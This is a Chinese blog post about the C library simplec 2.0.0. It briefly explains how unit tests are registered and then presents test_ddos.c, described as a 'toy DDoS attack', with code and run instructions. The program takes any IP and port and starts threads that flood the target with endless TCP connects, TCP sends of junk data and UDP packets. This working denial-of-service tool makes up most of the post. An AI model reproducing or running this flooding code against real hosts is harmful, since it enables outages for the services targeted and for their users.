c basic library framework - simplec 2.0.0
前言 - simplec 单元测试 流程介绍
一个关于C基础库 simplec 2.0.0 发布了. 详细的文档介绍请参照 README.md.
说的再多都无用, 抵不上 gdb 一个 b r n. 本文就简单介绍一下 simplec 中怎么添加单元测试功能.
simplec winds Debug 启动流程是 main -> simplec_main -> simplec_test. 所以所有的
单元测试都采用如下结构
/*
* simple c 单元测试主函数
* return : void
*/
void
simplec_test(void) {
// 单元测试 - 测试 plog 日志系统
extern void test_plog(void);
// 单元测试 - 测试 scthreads 线程池
extern void test_scthreads(void);
// 单元测试 - 测试 iop 网络io
extern void test_iopserver(void);
// 单元测试 - 测试 libcurl http 库
extern void test_httputil(void);
// 单元测试 - 测试 玩具 ddos攻击
extern void test_ddos(void); test_ddos();
}
需要注意的是, 每一个单元测试函数,必须对映一个同名的文件结构. 如下图展示

利用上面规则, 在linux上会生成对应的 单元测试执行文件, 方便脚本联合测试.
# 单元测试使用, 生成指定主函数的运行程序, 替换回main操作
RUNT = $(RHAD) -o $(TAR_PATH)/$(TEST_DIR)/$@ $(RTAL)
COPT = objcopy --redefine-sym $(basename $@)=main $(OBJP)$(basename $@).o
更加详细的规则, 可以学学Makefile
正文 - 不妨用simplec 写个 ddos攻击
说太多没用, 基础库层面, 如少林武功. 唯有一招一式的练习. 没用魔法, 斗气那么灿烂.
攻击思路也很简单, tcp, udp 来回搞. 确实有的公司例如百度对ddos攻击防御做的很好.
直接上代码 添加 单元测试模块 test_ddos.c
#include <iop_util.h>
#include <scthreads.h> #define _INT_HOSTV4 (16)
#define _INT_TIMEOUT (3000) struct targ {
sockaddr_t addr;
char ts[BUFSIZ];
char us[BUFSIZ]; // 攻击次数统计
uint64_t connect;
uint64_t tcpsend;
uint64_t udpsend;
}; // 得到玩家输入的地址信息
void addr_input(sockaddr_t * addr); // 检查IP是否合法
bool addr_check(sockaddr_t * addr); // 目前启动3个类型线程, 2个是connect, 2个是connect + send 2个是 udp send
void ddos_run(struct targ * arg); //
// ddos attack entrance
//
void test_ddos(void) {
// 记录详细攻击的量, ts and us 是脏数据随便发
struct targ arg;
arg.udpsend = arg.tcpsend = arg.connect = ; // 得到玩家的地址信息
addr_input(&arg.addr); if (!addr_check(&arg.addr))
CERR_EXIT("ip or port check is error!!!"); // 开始要启动线程了
ddos_run(&arg); // :> 开始统计数据
puts("connect count tcp send count udp send count");
for (;;) {
printf(" %"PRIu64" %"PRIu64" %"PRIu64"\n", arg.connect, arg.tcpsend, arg.udpsend);
sh_sleep(_INT_TIMEOUT);
}
} // 得到玩家输入的地址信息
void
addr_input(sockaddr_t * addr) {
bool flag = true;
int rt = ;
uint16_t port;
char ip[_INT_HOSTV4] = { }; puts("Please input ip and port, example :> 127.0.0.1 8088");
printf(":> "); // 自己重构scanf, 解决注入漏洞
while (rt < _INT_HOSTV4 - ) {
char c = getchar();
if (isspace(c)) {
if (flag)
continue;
break;
}
flag = false;
ip[rt++] = c;
}
ip[rt] = '\0'; rt = scanf("%hu", &port);
if (rt != )
CERR_EXIT("scanf_s addr->host = %s, port = %hu.", ip, port); printf("connect check input addr ip:port = %s:%hu.\n", ip, port); // 下面就是待验证的地址信息
if (socket_addr(ip, port, addr) < Success_Base)
CERR_EXIT("socket_addr ip , port is error = %s, %hu.", ip, port);
} // 检查IP是否合法
bool
addr_check(sockaddr_t * addr) {
int r;
socket_t s = socket_stream();
if (s == INVALID_SOCKET) {
RETURN(false, "socket_stream is error!!");
} r = socket_connecto(s, addr, _INT_TIMEOUT);
socket_close(s);
if (r < Success_Base) {
RETURN(false, "socket_connecto addr is timeout = %d.", _INT_TIMEOUT);
} return true;
} // connect 链接
static void _connect(struct targ * targ) {
// 疯狂connect
for (;;) {
socket_t s = socket_stream();
if (s == INVALID_SOCKET) {
CERR("socket_stream is error!");
continue;
} // 精确统计, 一定要连接成功
while (socket_connect(s, &targ->addr) < Success_Base)
; ++targ->connect;
socket_close(s);
}
} // connect + send 连接
static void _tcpsend(struct targ * targ) {
// 疯狂connect
for (;;) {
socket_t s = socket_stream();
if (s == INVALID_SOCKET) {
CERR("socket_stream is error!");
continue;
} // 精确统计, 一定要连接成功
while (socket_connect(s, &targ->addr) < Success_Base)
; // 疯狂发送数据包
while (socket_send(s, targ->ts, BUFSIZ) >= Success_Base)
++targ->tcpsend; socket_close(s);
}
} // udp send 连接
static void _udpsend(struct targ * targ) {
for (;;) {
socket_t s = socket_dgram();
if (s == INVALID_SOCKET) {
CERR("socket_stream is error!");
continue;
} // 疯狂发送数据包
while (socket_sendto(s, targ->us, BUFSIZ, , &targ->addr, sizeof(targ->addr)) >= Success_Base)
++targ->udpsend; socket_close(s);
}
} // 目前启动3个类型线程, 2个是connect, 2个是connect + send 2个是 udp send
void
ddos_run(struct targ * arg) {
// 创建两个 connect 线程
CERR_IF(async_run(_connect, arg));
CERR_IF(async_run(_connect, arg)); // 创建两个 connect + send 线程
CERR_IF(async_run(_tcpsend, arg));
CERR_IF(async_run(_tcpsend, arg)); // 创建两个 _udpsend 线程
CERR_IF(async_run(_udpsend, arg));
CERR_IF(async_run(_udpsend, arg));
}
演示结果 先winds上测试一下

再linux上测试一下, make ; cd Output/test; ./test_ddos.exe

一切都是那么自然.[错误会被修复, 欢迎指正]
simplec 欢迎尝试, 足够用C完成你想要的很多任务了. 它是框架层下面的基础库.
一切才刚刚开始, 也是个很好的开始. (≖ᴗ≖)✧
c basic library framework - simplec 2.0.0的更多相关文章
- Multi-Targeting and Porting a .NET Library to .NET Core 2.0
Creating a new .NET Standard Project The first step for moving this library is to create a new .NET ...
- 运行TensorFlow报错,“This program requires version 3.6.1 of the Protocol Buffer runtime library, but the installed version is 3.0.0.”
报错信息: [libprotobuf FATAL google/protobuf/src/google/protobuf/stubs/common.cc:67] This program requir ...
- Unable to download data from http://ruby.taobao.org/ & don't have write permissions for the /Library/Ruby/Gems/2.0.0 directory.
安装cocoapods,记录两个问题! 1.镜像已经替换成了 http://ruby.taobao.org/, 还是不能不能安装cocoapods, 报错:Unable to download dat ...
- 整整十年 - Agent Framework for TypeScript 2.0
十年前,我发布了 Agent Framework for .NET 2.0 今天,Agent 又开始了新的旅程, 这次支持的语言是 TypeScript 2.0 上需求:init函数只能被调用一次 废 ...
- ASP.NET Core 开发-Entity Framework (EF) Core 1.0 Database First
ASP.NET Core 开发-Entity Framework Core 1.0 Database First,ASP.NET Core 1.0 EF Core操作数据库. Entity Frame ...
- .Net Core 控制台程序错误:Can not find runtime target for framework '.NETCoreApp,Version=v1.0' compatible with one of the target runtimes: 'win10-x64, win81-x64, win8-x64, win7-x64'.
.Net Core 控制台程序错误:Can not find runtime target for framework '.NETCoreApp,Version=v1.0' compatible wi ...
- Ibatis 异常:Unable to open connection to "oledb , provider V2.0.0.0 in framework .NET V2.0".
在实际项目中使用了ibatis,然后在开发过程中遇到一些问题,最严重的就是这个“Unable to open connection to "Microsoft SQL Server, pro ...
- Descriptio Resource Path LocationType Archive for required library: 'D:/apache-maven/apache-maven-3.6.0/mavenrepository/org/springframework/spring-aspects/4.3.7.RELEASE/spring-aspects-4.3.7.RELEASE.
eclipse创建了一个maven项目后,在导入依赖包后返现项目有个红色刺眼的感叹号,再看控制台有个Problem提示 Descriptio Resource Path LocationType Ar ...
- Entity Framework 5.0.0 Function Import 以及 ODP. NET Implicit REF CURSOR Binding使用简介
源代码 概要: 1,说明如何使用Entity Framework中的function import功能. 2,说明如何使用ODP.NET的隐式REF CURSOR绑定(implicit REF CUR ...
随机推荐
- 浅析Nim游戏(洛谷P2197)
首先我们看例题:P2197 nim游戏 题目描述 甲,乙两个人玩Nim取石子游戏. nim游戏的规则是这样的:地上有n堆石子(每堆石子数量小于10000),每人每次可从任意一堆石子里取出任意多枚石子扔 ...
- P1086 花生采摘
题目描述 鲁宾逊先生有一只宠物猴,名叫多多.这天,他们两个正沿着乡间小路散步,突然发现路边的告示牌上贴着一张小小的纸条:“欢迎免费品尝我种的花生!――熊字”. 鲁宾逊先生和多多都很开心,因为花生正是他 ...
- Python程序性能分析模块----------cProfile
cProfile分析器可以用来计算程序整个运行时间,还可以单独计算每个函数运行时间,并且告诉你这个函数被调用多少次 def foo(): pass import cProfile cProfile.r ...
- Python列表去重的三种方法
1. 列表去重 li = [] for item in my_list: if item not in li: li.append(item) 2.集合去重 list(set(my_list)) 3. ...
- Codeforces ZeptoLab Code Rush 2015 D.Om Nom and Necklace(kmp)
题目描述: 有一天,欧姆诺姆发现了一串长度为n的宝石串,上面有五颜六色的宝石.他决定摘取前面若干个宝石来做成一个漂亮的项链. 他对漂亮的项链是这样定义的,现在有一条项链S,当S=A+B+A+B+A+. ...
- CF#508 1038E Maximum Matching
---题面--- 题解: 感觉还是比较妙的,复杂度看上去很高(其实也很高),但是因为n只有100,所以还是可以过的. 考虑一个很暴力的状态f[i][j][x][y]表示考虑取区间i ~ j的方格,左右 ...
- BZOJ1014:[JSOI2008]火星人prefix——题解
http://www.lydsy.com/JudgeOnline/problem.php?id=1014 Description 火星人最近研究了一种操作:求一个字串两个后缀的公共前缀.比方说,有这样 ...
- cmder 添加到右键菜单
管理员权限打开cmde 输入: cmder /register all 回车,OK
- Vue.js中的常用的指令缩写
Vue.js为两个最为常用的指令提供了特别的缩写: v-bind缩写 <!--完整语法--> <a v-bind:href="url">测试</a&g ...
- SpringMVC 用注解Annotation驱动的IoC功能@Autowired @Component
转载自:http://blog.csdn.net/lufeng20/article/details/7598564 本文分为三个部分:概述.使用注解进行属性注入.使用注解进行Bean的自动定义. 一, ...